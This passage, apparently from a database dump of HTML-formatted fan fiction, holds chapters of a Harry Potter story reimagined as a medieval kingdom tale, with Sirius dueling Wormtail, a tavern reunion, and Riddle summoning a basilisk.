style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Wormtail would have escaped if a large, black,\nbear-like dog hadn\'t ran up and bowled Wormtail down.&nbsp; The dog suddenly transformed into a tall man.&nbsp; He had long black hair that was pulled into\na pony tail, was wearing gray armor and a black cloak that looked travel worn,\nwas carrying a large sword, and had a haunted look in his eyes.&nbsp; &quot;Why hello, Peter!&quot; he snarled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Sirius!&quot;\ncalled out Harry.&nbsp; The man, who was\nevidently Lord Sirius Black, beamed at him before turning his attention back to\nWormtail.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;S...Sirius!&quot;\nstuttered Wormtail.&nbsp; Sirius advanced on\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;This is for\nLily and James!&quot;&nbsp; Sirius swung his\nsword at Wormtail who deflected the blow with his blade.&nbsp; Sirius spun around and used his momentum to\nmake another swing at Wormtail who again blocked.&nbsp; Sirius immediately went on the offensive as he continually swung\nhis sword at Wormtail, having each blow be deflected.&nbsp; Wormtail, finally took a chance and managed to land a kick on\nSirius.&nbsp; He disapparated as fast as he\ncould.&nbsp; Sirius cursed loudly, sighed,\nand went to join Harry, Ron, and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry! How\nhave you been?!&quot; he shouted as he and Harry embraced.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Just fine\nSirius,&quot;&nbsp; Harry smile quickly\nfaded.&nbsp; &quot;What about the other Death\nEaters?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Most of them\nescaped,&quot; said a voice from behind them.&nbsp;\nIt came from a man who was wearing\nthe same kind of cloak and armor as Sirius.&nbsp;\nHe had brown hair that was flecked with grey, and he had tired but lively amber eyes.&nbsp; He was riding a chestnut colored horse.&nbsp; &quot;But one of them was killed in the\nfight, Avery I think.&quot;&nbsp; This man\nwas clearly Lord Remus Lupin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hello\nRemus,&quot;&nbsp; Harry smiled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus smiled back.&nbsp; &quot;I think we should all talk.&nbsp; We\'ll see you at the Leaky Cauldron.&quot;&nbsp; He turned his horse around went trotted\ntoward the inn.&nbsp; Sirius followed.&nbsp; After a while Harry, Hermione, and Ron also\nmade their way back to the Leaky Cauldron and Hermione couldn\'t help but wonder\nhow Harry knew two of the Gryffindor Royal family\'s best friends so well.&nbsp; She knew that Harry was from nobility but\nshe hadn\'t heard about any House of Potter that seemed to be close to the Royal\nFamily.&nbsp; In fact, now that she thought\nabout it, she hadn\'t ever heard of any House of Potter at all!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 11, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: Me no own.&nbsp; J.K. Rowling all own.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 11: Moony, Padfoot, and Prongs</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">About an hour later, the entire company was\nsitting in one of the booths at the Leaky Cauldron.&nbsp; Harry and Ron introduced Hermione to Sirius and Remus and the\nfive started chatting amicably.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;So how\'s\nHogwarts these days?&quot; asked Remus.&nbsp;\n&quot;Dumbledore still guardian?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yep,&quot;\nanswered Harry.&nbsp; &quot;We\'re very lucky\nto still have him.&nbsp; It seems the Death\nEaters are getting more desperate these days.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;They should\nbe!&quot; declared Sirius.&nbsp; &quot;Now\nthat the Gryffindor armies are back in Magiterran, the old days will come back\nsoon!&nbsp; The Kingdom of Gryffindor will be\nreestablished!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Calm down,\nPadfoot,&quot; hissed Remus.&nbsp; &quot;You\ndon\'t want to cause a scene!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Aw, shove\nit, Moony,&quot; laughed Sirius.&nbsp;\n&quot;You\'re just as excited as we are and you know it!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Ron laughed but Hermione seemed a\nlittle confused.&nbsp; &quot;Moony?&nbsp; Padfoot?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Our old\nnicknames,&quot; said Remus.&nbsp;\n&quot;Harry\'s father was Prongs.&quot;&nbsp;\nWhen he said this, everyone stopped laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius sighed.&nbsp;\n&quot;You know Harry,&quot; he said.&nbsp;\n&quot;You look more like Prongs every time I see you.&nbsp; Except your eyes, you\'ve got your mother\'s\neyes.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry gave him a sad smile.&nbsp; &quot;Yeah, I know.&nbsp; Everyone tells me that.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Everyone was silent for a moment.&nbsp; Sirius sighed again.&nbsp; &quot;I remember when we were all squires\nback at Hogwarts.&nbsp; It sure seems like a\nlong time ago.&nbsp; Moony, Prongs, and\nmyself would go sneaking around the castle during night and we would play\npranks on unsuspecting Slytherins.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus laughed.&nbsp;\n&quot;We sure gave McGonagall a number of gray hairs.&nbsp; I don\'t think there have ever been any\nmaster pranksters at Hogwarts since the four of us.&quot;&nbsp; He suddenly shut his mouth as if he had let\non too much.&nbsp; Hermione didn\'t miss it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Four?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;There was\none more member in our group,&quot; said Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Wormtail,&quot;\nspat Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\'s eyes went wide.&nbsp; &quot;The Death Eater?&quot;&nbsp; All four Mage Knights nodded glumly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Peter\nPettigrew, that\'s his real name by the way, was a member of the Gryffindor\nnobility and a close friend of James and Lily, like we were.&nbsp; At least, that\'s what we thought,&quot; said\nRemus.&nbsp; &quot;But he betrayed us.&nbsp; He sold Lily and James to the Death\nEaters.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;The dirty\nrat!&quot; shouted Sirius.&nbsp;\n&quot;Must\'ve been the finest hour of his miserable life when he handed\nJames and Lily to the Death Eaters on a silver platter.&quot;&nbsp; He looked positively livid.&nbsp; Ron had a look of disgust on his face while\nHarry radiated a silent anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione thought for a moment.&nbsp; \'So Wormtail is the reason the Royal Family\nis dead.&nbsp; Wormtail is the reason that\nthe Kingdom of Gryffindor no longer exists.&nbsp;\nWormtail is the reason why we have been living under the yoke of Death\nEater rule for 16 years.&nbsp; Wormtail is\nthe reason why so many of us have lost every thing; why I\'ve lost\neverything.\'&nbsp; Hermione felt a silent\nanger run through her veins.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Anyway,\nenough heavy talk,&quot; said Sirius with a mischievous grin.&nbsp; &quot;So, Harry miboy.&nbsp; You found any love in your life?&nbsp; Are the\nladies throwing themselves at you?&quot;&nbsp;\nHe said all this in a sing-song voice.&nbsp;\nHermione felt her heart plummet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron and Remus laughed while Harry frowned and\nsaid &quot;Be serious.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I am\nSirius.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed.&nbsp;\n&quot;Nope, hasn\'t happened.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh come off\nit, Harry,&quot; said Ron with a grin.&nbsp;\n&quot;Everyone knows that you\'re the most eligible Mage Knight in all of\nMagiterran.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked down at her tankard of\nbutterbeer sadly.&nbsp; Remus seemed to\nnotice and abruptly changed the subject.&nbsp;\n&quot;So will you be escorting us back to Hogwarts tomorrow?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry raised his eyebrows at the sudden change\nof subjects but let it pass.&nbsp;\n&quot;That\'s right.&nbsp; We should\nleave first thing in the morning.&nbsp; How\nmany soldiers came back?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Seven\nthousand,&quot; answered Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry nodded.&nbsp;\n&quot;Excellent.&nbsp; We\'ve already\ngot ten thousand each of Hufflepuff and Ravenclaw and two thousand from the\nSlytherin Resistance.&nbsp; Plus about eight\nhundred Mage Knights.&nbsp; That should be\nquite a good number for the great battle don\'t you think?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius grinned.&nbsp; &quot;The combined armies of all four Kingdoms against a bunch of\ncultists and their monstrous creatures.&nbsp;\nHow much easier can it get?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Don\'t be so\nsure,&quot; said Remus.&nbsp; &quot;The Death\nEaters are a very powerful force to be reckoned with.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Come on,\nMoony&quot;&nbsp; said Sirius.&nbsp; &quot;Be a little more optimistic.&nbsp; Prongs would\'ve definitely been looking on the bright side of things if he were\nhere now.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus sighed.&nbsp;\n&quot;I know, Padfoot.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Moony and\nPadfoot are going to strike again,&quot; said Sirius.&nbsp; &quot;Prongs will be avenged and Gryffindor will once again be a\nkingdom.&quot;&nbsp; He struck on his fist on\nthe table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well, its\ngetting late now,&quot; said Harry.&nbsp;\n&quot;If we\'re going to have an early start tomorrow, we should get some\nsleep.&quot;&nbsp; The others agreed and\nstood up.&nbsp; As they were making their way\nto their rooms, Hermione passed by a portrait of Queen Lily.&nbsp; She decided to stop and look at it a bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'How does it\nfeel,\' wondered Hermione, \'to be betrayed by one you\'ve trusted with your\nlife?&nbsp; Did you feel hatred towards\nPettigrew when you found out what he had done?&nbsp;\nDid you curse his name and wish death upon him?&nbsp; Or were you willing to forgive him?&nbsp; Were you willing to extend him that\nforgiveness for which you were so well known for?&nbsp; Would I be able to do the same if what happened to you happened\nto me?\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione studied the portrait as the Queen\nsmiled kindly at her.&nbsp; Lily was a\nbeautiful woman whose beauty Hermione admired and envied a little.&nbsp; Her wavy, dark red hair fell down to her\nwaist.&nbsp; And her emerald green eyes shown\nwith love and kindness.&nbsp; \'Wait a\nminute,\' she thought.&nbsp; Hermione studied\nthe eyes a little closer.&nbsp; This was the\nfirst time she had looked at a picture of Lily in detail and she couldn\'t help\nbut shake the feeling that she had seen those eyes somewhere before.&nbsp; They radiated with a sense of warmth that\nmade Hermione feel protected.&nbsp; Somehow,\nshe couldn\'t shake the feeling that she knew those eyes.&nbsp; However, she felt very tired and decided to\nthink about it some other time.&nbsp; She\nwent back to her room, laid down on her bed and fell asleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">An old merchant was traveling through the\ncountry paths.&nbsp; He had been hoping to\narrive at Diagon Alley before dark but had ended up behind schedule when he had\ngotten lost.&nbsp; As he was hurrying to get\nto his destination, he chanced to see a man with glowing red eyes heading\ntoward a lake.&nbsp; Though the merchant had\nno way of knowing this, the man\'s name was Tom Marvolo Riddle.&nbsp; Curiosity getting the better of him, the\nmerchant decided to see what the man was up to and followed him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle walked up to the edge of the lake and\npeered across the water.&nbsp; He opened his\nmouth as if to speak, but what emerged from mouth was not a voice, but a\nhiss.&nbsp; He continued hissing and spitting\nat the water for a while before stopping.&nbsp;\nAfter a moment of silence, ripples started to form across the surface of\nthe lake.&nbsp; The old merchant nearly\nscreamed when something stuck it\'s head out of the water.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was a snake.&nbsp; A monster snake.&nbsp; It was\nabout fifty feet long and as thick as an oak tree.&nbsp; It had a bright, poisonous green color, enormous fangs, and a\nrooster\'s crown on it\'s head.&nbsp; But the\nmost frightening thing was that the serpent was hissing and spitting at Riddle\nand Riddle was hissing and spitting back.&nbsp;\nWith a lurch in his stomach, the merchant realized something: \'this man\ntalks to snakes!\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The merchant decided that it would be best to\nmake a quick get away.&nbsp; Unfortunately,\nhe stepped on a twig, catching Riddle\'s and the serpent\'s attention.&nbsp; The last thing he ever saw were the\nbasilisk\'s yellow eyes!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 12, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: If I owned these characters, I must\nbe J.K. Rowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 12: Attack of the Basilisk</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione had never seen such a large gathering\nof people in her life.&nbsp; Seven thousand\nsoldiers (swordsmen, spearmen, archers, cavalry) were marching towards\nHogwarts.&nbsp; All of them wore shining,\nsilver armor, red capes, and had a golden lion painted on their shields.&nbsp; There was a positive atmosphere in the air\nas all of the soldiers were clearly overjoyed to have finally returned to their\nbeloved homeland after years of exile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius and Remus, now in red capes as well,\nwere directing the soldiers and were keeping order by organizing ranks.&nbsp; They constantly trotted alongside the\nsoldiers and made sure that nothing was out of hand.&nbsp; The Gryffindor soldiers treated them with high respect, since\nLords Black and Lupin were there commanding generals.&nbsp; However, Hermione was amazed that the soldiers treated Harry with\nthe same, possibly even more respect.&nbsp;\nIt was almost like they deferred to Harry over Sirius and Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry suddenly stopped Firebolt.&nbsp; &quot;What\'s wrong?&quot; asked Hermione,\nwho was riding behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I heard a voice,&quot; answered\nHarry.&nbsp; He ordered for quiet and started\nlistening.&nbsp; He seemed to be a little\nworried.&nbsp; After a while, he sighed.&nbsp; &quot;Its gone.&nbsp; Probably just some random snake.&nbsp;\nDon\'t worry about it.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was just about to ask what he meant by\n\'random snake\' when she caught sight of a horseback rider, galloping towards\nthem.&nbsp; She saw that it was Sir Draco\nMalfoy astride his black mustang, Nimbus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh look,&quot; said Ron.&nbsp; &quot;Its Ferret boy.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Nice to see you too, Weasel,&quot;\nsneered Draco.&nbsp; He turned to Harry.&nbsp; &quot;I\'ve got a message from\nDumbledore.&nbsp; He wants you to set out and\nfind the two rings, tonight.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry raised an eyebrow.&nbsp; &quot;He wants me to go find the\nrings?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Not you, Potter.&quot;&nbsp; Draco pointed at Hermione.&nbsp; &quot;Her.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\'s and Hermione\'s eyes went wide.&nbsp; &quot;WHAT?!&nbsp; Why me?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco scowled.&nbsp;\n&quot;You think I\'m happy about this?&nbsp;\nI wanted to go look for the rings myself!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Then why aren\'t you?&quot; smirked\nRon.&nbsp; &quot;Having second doubts about\nstanding up to Daddy?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco looked furious.&nbsp; &quot;You know full well Weasley, that I no longer have any\nloyalties to my father!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Humph, well maybe I\'m not convinced,\nMalfoy.&quot; growled Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus and Sirius butted in.&nbsp; &quot;All right you two,&quot; said\nRemus.&nbsp; &quot;Lets settle this somewhere\nelse...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What does it take to convince you,\nWeasley?&quot; continued Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;How about a new attitude?!&nbsp; Oh, now there\'s something you can\'t\nbuy!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;How would you know?&nbsp; You probably couldn\'t have afforded\none.&quot;</p>\n\n<p class="MsoNormal" 